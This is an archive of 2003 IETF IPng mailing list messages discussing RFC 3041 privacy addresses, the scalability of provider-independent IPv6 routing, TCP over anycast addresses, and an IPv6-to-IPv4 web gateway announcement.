Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22])
	by d12lmsgate-5.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0SEtHrc036738;
	Tue, 28 Jan 2003 15:55:18 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay01.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0SEs0ou272434;
	Tue, 28 Jan 2003 15:54:00 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA20222 from <brian@hursley.ibm.com>; Tue, 28 Jan 2003 15:53:59 +0100
Message-Id: <3E36995B.57CDE733@hursley.ibm.com>
Date: Tue, 28 Jan 2003 15:53:15 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
Cc: john.loughney@nokia.com, ipng@sunroof.eng.sun.com
Subject: Re: Node Requirements and 3041
References: <200301280820.h0S8Khof031773@givry.rennes.enst-bretagne.fr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

I agree, after re-reading the formal definitions in RFC 2119. And I
don't think we need any discussion text; the implications are already
covered in 3041. 

The default can be left to the vendor IMHO.

   Brian

Francis Dupont wrote:
> 
>  In your previous mail you wrote:
> 
>    Should the MAY remain, with some discussion of why 3041 is good or should it
>    be upgrated to a 'SHOULD be implemented' with reasons why & why not to use it?
> 
> => a SHOULD for implementation and a MAY for use should reach rough
> consensus and the debate will be only on the default (3041 or not 3041)?
> 
> Regards
> 
> Francis.Dupont@enst-bretagne.fr
> 
> PS: I am in favor of "not 3041" but I can't see a reason to prevent
> someone to use it.
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------

-- 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Brian E Carpenter 
Distinguished Engineer, Internet Standards & Technology, IBM 
On assignment at the IBM Zurich Laboratory, Switzerland
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 07:22:28 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SFMSQb003824;
	Tue, 28 Jan 2003 07:22:28 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SFMReu003823;
	Tue, 28 Jan 2003 07:22:27 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SFMOQb003816
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 07:22:24 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SFMWVK027102
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 07:22:32 -0800 (PST)
Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [194.196.100.236])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA29794
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 07:22:25 -0800 (PST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id h0SFML13070958
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 16:22:22 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h0SFMLnr168334
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 16:22:22 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA27232 from <brian@hursley.ibm.com>; Tue, 28 Jan 2003 16:22:20 +0100
Message-Id: <3E36A001.43E7E47C@hursley.ibm.com>
Date: Tue, 28 Jan 2003 16:21:37 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: ipng@sunroof.eng.sun.com
Subject: Re: Enforcing unreachability of site local addresses
References: <5.1.0.14.2.20030127093010.03628040@mail.windriver.com> <5.1.0.14.2.20030127143500.03674810@mail.windriver.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Margaret Wasserman wrote:
> 
> >But the problem remains as hard as it was in 1992. We don't know how
> >to aggregate routes for such addresses, and we don't know how to scale
> >the routing system without aggregation. Solve either of those
> >problems and you're done.
> 
> Maybe we can't solve this problem....
> 
> If not, then we won't have real PI addresses and we will end-up with
> NAT (or something very similar) in IPv6.  Do you see some other
> possibility?

When 8+8 first appeared, I was delighted and referred to it as
"architected NAT." I think that is what we need, either in the form
of 8+8/GSE, map-and-encap, MHAP, or something like those. To me
that is by far the most hopeful class of solutions.

Dan Lanciani wrote:
> 
> "Michel Py" <michel@arneill-py.sacramento.ca.us> wrote:
...
> |One billion routes in the global routing table = does not scale.
> 
> This is the main fallacy in your statement.  You are assuming that a billion
> PI address blocks has to equate to a billion routes in some global routing
> table (or even that there has to *be* a global table).  That would be the case
> only if we insist on remaining with a full-knowledge centralized routing model.
> Such models are outdated.  We can do better.

We tried (NIMROD) to develop alternatives to full-knowledge flat
routing; but that attempt failed. However, as Noel would have told us
for the N'th time if he was watching this thread, any such alternative
requires a method of abstraction and summarization of routes, a.k.a.
aggregation. Today, the only way we know how to do that is
by shorter and shorter prefixes on binary numbers.

Quality Quorum wrote:
...
> ...The thing which is doable is to assign moveable transport-bound
> addresses + independent non-globally-visible and non-globally unique
> permanent local addresses + NAT, with DNS names being the only fixed
> points in this permanently shifting environment.

As I said above, there are better architected approaches than traditional
NAT, and unfortunately DNS is not as solid as you hope.

Michel Py wrote:
...
> ... There is nothing that says that the scalability
> should come from aggregation either.

There certainly is, if you generalize "aggregation" to mean
"abstraction and summarization" as noted above. But Noel has
ranted on this subject so many times that I will stop here.

    Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 08:42:42 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SGggQb004112;
	Tue, 28 Jan 2003 08:42:42 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SGggM7004111;
	Tue, 28 Jan 2003 08:42:42 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SGgdQb004104
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 08:42:39 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SGglVK018008
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 08:42:47 -0800 (PST)
Received: from TheWorld.com (pcls2.std.com [199.172.62.104])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA03513
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 08:42:40 -0800 (PST)
Received: from shell.TheWorld.com (tkraemer@shell01.TheWorld.com [199.172.62.241])
	by TheWorld.com (8.9.3/8.9.3) with ESMTP id LAA07349;
	Tue, 28 Jan 2003 11:42:39 -0500
Received: from localhost (qqi@localhost)
	by shell.TheWorld.com (8.9.3/8.9.3) with ESMTP id LAA112449355;
	Tue, 28 Jan 2003 11:42:38 -0500 (EST)
X-Authentication-Warning: shell01.TheWorld.com: qqi owned process doing -bs
Date: Tue, 28 Jan 2003 11:42:38 -0500
From: Quality Quorum <qqi@theworld.com>
To: Brian E Carpenter <brian@hursley.ibm.com>
cc: ipng@sunroof.eng.sun.com
Subject: Re: Enforcing unreachability of site local addresses
In-Reply-To: <3E36A001.43E7E47C@hursley.ibm.com>
Message-ID: <Pine.SGI.4.40.0301281139080.112907784-100000@shell01.TheWorld.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


> Quality Quorum wrote:
> ...
> > ...The thing which is doable is to assign moveable transport-bound
> > addresses + independent non-globally-visible and non-globally unique
> > permanent local addresses + NAT, with DNS names being the only fixed
> > points in this permanently shifting environment.
>
> As I said above, there are better architected approaches than traditional
> NAT, and unfortunately DNS is not as solid as you hope.

I am also talking about an approach better architected than original NAT,
but essentially performing the same function.

And it seems to me that it is also better architected than GSE. I am
planning to write a draft over week-end.

>     Brian


Thanks,

Aleksey


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 09:18:13 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SHIDQb004324;
	Tue, 28 Jan 2003 09:18:13 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SHICuO004323;
	Tue, 28 Jan 2003 09:18:12 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SHI9Qb004316
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 09:18:09 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SHIHVK029896
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 09:18:17 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA03470
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 09:18:11 -0800 (PST)
Received: from IDLEWYLDE.windriver.com ([147.11.233.14])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id JAA06604;
	Tue, 28 Jan 2003 09:17:04 -0800 (PST)
Message-Id: <5.1.0.14.2.20030128121149.036a8d88@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Tue, 28 Jan 2003 12:16:14 -0500
To: Brian E Carpenter <brian@hursley.ibm.com>
From: Margaret Wasserman <mrw@windriver.com>
Subject: Re: Enforcing unreachability of site local addresses
Cc: ipng@sunroof.eng.sun.com
In-Reply-To: <3E36A001.43E7E47C@hursley.ibm.com>
References: <5.1.0.14.2.20030127093010.03628040@mail.windriver.com>
 <5.1.0.14.2.20030127143500.03674810@mail.windriver.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


Hi Brian,

>When 8+8 first appeared, I was delighted and referred to it as
>"architected NAT." I think that is what we need, either in the form
>of 8+8/GSE, map-and-encap, MHAP, or something like those. To me
>that is by far the most hopeful class of solutions.

I agree.  There are some potential problems with these types of
solutions, but they seem to present the most promising path.  Also,
the problems may be less severe than our current choices (route
table implosion and/or NAT).

I think we have fallen into a semantic nightmare here...  When
I say that we need some type of provider-independent addresses,
it was not my intention to rule out these types of solutions.  In
fact, I think this may be where the answer lies.

Is this type of solution being actively pursued somewhere in the
IETF?

Margaret


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 09:37:35 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SHbZQb004453;
	Tue, 28 Jan 2003 09:37:35 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SHbZ1g004452;
	Tue, 28 Jan 2003 09:37:35 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SHbVQb004445
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 09:37:32 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SHbdVL000994
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 09:37:39 -0800 (PST)
Received: from shell.nominum.com (shell.nominum.com [128.177.192.160])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA20004
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 09:37:34 -0800 (PST)
Received: from nominum.com (shell.nominum.com [128.177.192.160])
	by shell.nominum.com (Postfix) with ESMTP
	id 8D0F7137F03; Tue, 28 Jan 2003 09:37:33 -0800 (PST)
Date: Tue, 28 Jan 2003 09:37:30 -0800
Subject: Re: Enforcing unreachability of site local addresses
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v551)
Cc: ipng@sunroof.eng.sun.com
To: Brian E Carpenter <brian@hursley.ibm.com>
From: David Conrad <david.conrad@nominum.com>
In-Reply-To: <3E36A001.43E7E47C@hursley.ibm.com>
Message-Id: <2D130B9F-32E7-11D7-BA7F-000393DB42B2@nominum.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.551)
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

> ...  and unfortunately DNS is not as solid as you hope.

Oh?  Do tell.

Thanks,
-drc

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 11:03:45 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SJ3iQb004829;
	Tue, 28 Jan 2003 11:03:44 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SJ3irv004828;
	Tue, 28 Jan 2003 11:03:44 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SJ3fQb004821
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 11:03:41 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SJ3nVL000168
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 11:03:49 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA00778
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 11:03:43 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id LAA20348;
	Tue, 28 Jan 2003 11:03:42 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h0SJ3Qm29463;
	Tue, 28 Jan 2003 11:03:26 -0800
X-mProtect: <200301281903> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (205.226.2.67, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpd3s8A4g; Tue, 28 Jan 2003 11:03:24 PST
Message-ID: <3E36D438.1020308@iprg.nokia.com>
Date: Tue, 28 Jan 2003 11:04:24 -0800
From: "Fred L. Templin" <ftemplin@iprg.nokia.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Michel Py <michel@arneill-py.sacramento.ca.us>
CC: ipng@sunroof.eng.sun.com
Subject: Re: Enforcing unreachability of site local addresses
References: <963621801C6D3E4A9CF454A1972AE8F54B71@server2000.arneill-py.sacramento.ca.us>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Michel Py wrote:
> Fred,
>  
>>Fred L. Templin
>>Your statements seem to be focused on the solutions we have
>>at hand today along with the unspoken assumptions we have
>>held as truths in the past. I used to think that carefully
>>managed hierarchical routing was the only way to go to
>>achieve scalability, but I am no longer wed to that
>>assumption.
>  
> Can you explain the reasons of the divorce?

I'd prefer to think of it as an amicable parting, i.e.,
still on speaking terms but entertaining other possibilities.

 > What new stuff do you have on the front of making PI scalable?

Stuff that steers routing decisions toward a unique
node/site/domain/cluster/etc., I would hope.

>>I don't think anyone is "gambling" on new and different solutions
> 
> Unless you have some realistically deployable answers to the question,
> calling for PI now is a gamble that we will find a way to clean it or
> leave behind a mess 10 times bigger than the v4 swamp.

In a different message, Brian characterized the NIMROD effort
as a failure. But, I wonder whether similar alternatives might
be viable. (Notice I'm only wondering here; not gambling...)

Fred
ftemplin@iprg.nokia.com




--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 11:08:24 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SJ8OQb004905;
	Tue, 28 Jan 2003 11:08:24 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SJ8Ot0004904;
	Tue, 28 Jan 2003 11:08:24 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SJ8KQb004891
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 11:08:20 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SJ8SVL001543
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 11:08:28 -0800 (PST)
Received: from devil.pp.htv.fi (cs78149057.pp.htv.fi [62.78.149.57])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA23523
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 11:08:21 -0800 (PST)
Received: from devil.pp.htv.fi (localhost [127.0.0.1])
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) with ESMTP id h0SJ76xA022379;
	Tue, 28 Jan 2003 21:07:07 +0200
Received: (from liljeber@localhost)
	by devil.pp.htv.fi (8.12.7/8.12.7/Debian-2) id h0SJ73Uc022378;
	Tue, 28 Jan 2003 21:07:03 +0200
X-Authentication-Warning: devil.pp.htv.fi: liljeber set sender to mika.liljeberg@welho.com using -f
Subject: Re: a few comments on anycast mechanisms
From: Mika Liljeberg <mika.liljeberg@welho.com>
To: Pekka Savola <pekkas@netcore.fi>
Cc: Brian Haberman <bkhabs@nc.rr.com>, ipng@sunroof.eng.sun.com
In-Reply-To: <Pine.LNX.4.44.0301280823470.20439-100000@netcore.fi>
References: <Pine.LNX.4.44.0301280823470.20439-100000@netcore.fi>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Organization: 
Message-Id: <1043780822.18672.66.camel@devil>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.1 
Date: 28 Jan 2003 21:07:03 +0200
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Tue, 2003-01-28 at 08:33, Pekka Savola wrote:
> TCP has to be modified anyway, I see no way around that.
> 
> Even with RR mechanism, TCP has to be modified to reconnect to the new 
> unicast address.  This is basically the same.

Not necessarily. The <anycast,unicast> binding could be stored in the
binding cache as in MIPv6 and TCP could continue using the anycast
address.

> Actually, there's no need for additional messages at all -- as SYN-ACK 
> includes the sequence number sent in SYN as ack number.  So there's some 
> small proof in this.  But then TCP would have to changed to change the 
> endpoint address in TCB etc.  That's what my proposition tried to avoid.

Me too. Reconnecting to a unicast address changes the TCB as well. This
is a change in semantics that is visible to applications (unexpected
peername). I'd be hesitant to change API semantics that have remained
the same for the past 20 years.

> > Either way, this would still make the TCP "security" weaker, because it
> > would make it possible (by guessing the ISN) to high-jack both
> > directions of a TCP connection, rather than just one. Needless to say,
> > this would be a lot more valuable to the attacker.
> 
> Sure.. but consider the big picture.  To guess the ISN in the first 3 
> messages would be rather difficult.  To know when exactly the source node 
> has communicated with an anycast address about equally so (to get into the 
> SYN_SENT window for that address).  Especially the latter is something 
> that off-path attackers should find really difficult.

I didn't say guessing the ISN or timing the attack would become any
easier. The point is simply that guessing the ISN would now make
applications vulnerable to man-in-the-middle attacks by off-path
attackers. Assuming sufficient ISN randomness, perhaps this is not a
problem.

> > However, it would be preferable not to have to have to modify TCP at
> > all. Maintaining the binding at TCP level would simply be a pain. The
> > better option would seem to be to hide the address change from TCP by
> > employing a routing header and something similar to the home address
> > option. Might as well require that all hosts sporting TCP servers at
> > anycast addresses must also support MIPv6.
> 
> TCP modifications would be about the same level as with the RR procedure.

Which is why existing mechanisms (e.g. MIPv6) should be reused rather
than inventing new ones.

> MIPv6-like approaches would be one option of course, rather heavy though.

A light-weight compromise might be to have TCP authenticate the binding,
but use MIPv6 mechanisms for the routing. This would avoid the change in
API semantics as well.

I have a hard time seeing anycast TCP used in the global network or
beyond selected applications in local networks. That being the case,
requiring that the client hosts to support MIPv6 route optimisation
(with some tweaks) should not be that big a deal.

	MikaL

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 11:50:40 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SJoeQb005207;
	Tue, 28 Jan 2003 11:50:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SJoe3X005206;
	Tue, 28 Jan 2003 11:50:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SJobQb005199
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 11:50:37 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SJoiVL015146
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 11:50:44 -0800 (PST)
Received: from purgatory.unfix.org (cust.92.136.adsl.cistron.nl [195.64.92.136])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA07080
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 11:50:38 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by purgatory.unfix.org (Postfix) with ESMTP
	id BF09795AF; Tue, 28 Jan 2003 20:50:33 +0100 (CET)
Received: from limbo (limbo.unfix.org [::ffff:10.100.13.33])
	(using TLSv1 with cipher RC4-MD5 (128/128 bits))
	(No client certificate requested)
	by purgatory.unfix.org (Postfix) with ESMTP
	id 9A38883BD; Tue, 28 Jan 2003 20:50:24 +0100 (CET)
From: "Jeroen Massar" <jeroen@unfix.org>
To: <6bone@mailman.isi.edu>
Cc: <ipng@sunroof.eng.sun.com>
Subject: IPv6Gate - IPv6 for IPv4 only websites
Date: Tue, 28 Jan 2003 20:50:35 +0100
Organization: Unfix
Message-ID: <002b01c2c706$871bea40$210d640a@unfix.org>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
x-mimeole: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
X-Virus-Scanned: by AMaViS @ purgatory.unfix.org
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Hi,

We've setup a IPv6 to IPv4 website gateway which allows to access
any IPv4 website over IPv6 using a gateway trick.
As http:// url's get rewritten one will remain in the gateway domain
so that one will continue to access the sites over IPv6.

Maybe if they get enough hits they might be hinted that IPv6 use is
rising and maybe we can pursuade them this way to start making their
websites natively IPv6 accessible.

Contact info for this info@sixxs.net
And the gate can be detected in your logs as it is using
the following User-Agent:
SixXS-IPv6Gate/1.0 (IPv6 Gateway; http://ipv6gate.sixxs.net;
info@sixxs.net)
Which should allow unaware admins to at least contact us in case of
problems. Notez bien the real client IPv6 address is passed along
in the X-FORWARDED-FOR header just like 'normal' http proxies and we
log all accesses.

Also note that when using www.6bone.net.sixxs.org the gateway
recognises this special case and uses the IPv4 address of the
site to connect; allowing the master server to be seen instead
of the usually out-of-sync IPv6 version.

For more information see: http://ipv6gate.sixxs.net

Greets,
 Jeroen

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Tue Jan 28 12:12:30 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SKCUQb005360;
	Tue, 28 Jan 2003 12:12:30 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0SKCULR005359;
	Tue, 28 Jan 2003 12:12:30 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0SKCQQb005352
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 12:12:26 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0SKCYVL022541
	for <ipng@sunroof.eng.sun.com>; Tue, 28 Jan 2003 12:12:34 -0800 (PST)
